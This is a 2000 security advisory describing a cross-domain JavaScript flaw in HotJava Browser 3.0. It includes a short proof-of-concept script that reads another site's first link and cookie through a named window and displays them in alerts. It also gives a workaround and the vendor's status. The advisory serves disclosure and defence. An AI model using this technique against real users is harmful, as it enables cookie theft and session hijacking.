Georgi Guninski security advisory #25, 2000
HotJava Browser 3.0 JavaScript security vulnerability
Systems affected:
HotJava Browser 3.0, Windows98 - probably other platforms since the
browser is written in Java.
Risk: High
Date: 25 October 2000
Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute parts
of it without the author's written permission.
Disclaimer:
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies, especially the
fact that Georgi Guninski is not liable for any damages caused by direct
or indirect use of the information or functionality provided by this
advisory or program. Georgi Guninski bears no responsibility for content
or misuse of this advisory or program or any derivatives thereof.
Description:
There is a security vulnerability in HotJava Browser 3.0 which allows
accessing the DOM of arbitrary URLs after viewing a web page. This allows
stealing of cookies.
Details:
The problem is opening an javascript: URL in a named window, which
allows accessing the DOM of the document in the named window.
The code is:
---------hotjava-1.html------------------------------------------
<SCRIPT>
window.open("http://www.sun.com","g");
setTimeout("window.open('javascript:alert(\"The first link is: \"+document.links[0].href);alert(\"The
cookie is: \"+document.cookie)','g')",10000);
</SCRIPT>
---------------------------------------------------------------------
Workaround:
Disable JavaScript
Demonstration is available at:
http://www.guninski.com/hotjava-1.html
Vendor status:
Sun was notified by email at least 4 days ago but did not hear back
from them. |